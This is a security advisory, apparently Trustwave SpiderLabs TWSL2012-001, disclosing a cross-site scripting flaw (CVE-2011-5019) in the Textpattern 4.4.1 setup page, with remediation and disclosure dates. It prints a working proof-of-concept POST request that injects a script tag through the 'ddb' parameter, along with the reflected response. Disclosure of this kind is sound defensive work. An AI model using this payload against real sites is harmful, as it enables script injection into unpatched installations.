TWSL2012-001: Cross-Site Scripting Vulnerability in Textpattern Content Management System

Type securityvulns
Reporter Securityvulns
Modified 2012-01-09T00:00:00


Trustwave's SpiderLabs Security Advisory TWSL2012-001: Cross-Site Scripting Vulnerability in Textpattern Content Management System

Published: 1/03/12 Version: 1.0

Vendor: Textpattern ( Product: Textpattern Version affected: 4.4.1 before change set 3612

Product description: Textpattern is an open source content management system originally developed by Dean Allen. While it is often listed among weblogging tools, its aim is to be a general-purpose content management system suitable for deployment in many contexts. Textpattern is written in PHP using a MySQL database backend.

Credit: Jonathan Claudius of Trustwave SpiderLabs

Finding 1: Cross-Site Scripting Vulnerability CVE: CVE-2011-5019

After extracting the Textpattern source files on to a web server, but before the application is fully installed, cross-site scripting vulnerabilities are present in the '/textpattern/setup/index.php' page.


Performing XSS on "ddb" parameter


POST /textpattern/setup/index.php HTTP/1.1

Host: A.B.C.D User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:8.0.1) Gecko/20100101 Firefox/8.0.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip, deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Proxy-Connection: keep-alive Referer: http://A.B.C.D/textpattern/setup/index.php Content-Type: application/x-www-form-urlencoded Content-Length: 156

duser=blah&dpass=&dhost=localhost&ddb=%3Cscript%3Ealert%28%27123%27%29%3C%2 Fscript%3E&dprefix=&siteurl=A.B.C.D&Submit=next&lang=en-us&step=print Config


HTTP/1.1 200 OK Date: Sat, 10 Dec 2011 02:46:44 GMT Server: Apache/2.2.15 (CentOS) X-Powered-By: PHP/5.3.2 Content-Length: 674 Connection: close Content-Type: text/html; charset=utf-8


<div align="center"><p>Checking database connection</p><p>Connected</p><p>Database <strong><script>alert('123')</script></strong> does not exist or your specified user does not have permission to access it.</p>

Remediation Steps: Textpattern change set 3612 includes a fix for this security issue. Upgrade to the latest version.

Revision History: 12/23/11 - Vulnerability disclosed 12/23/11 - Patch released by vendor 1/03/12 - Advisory published

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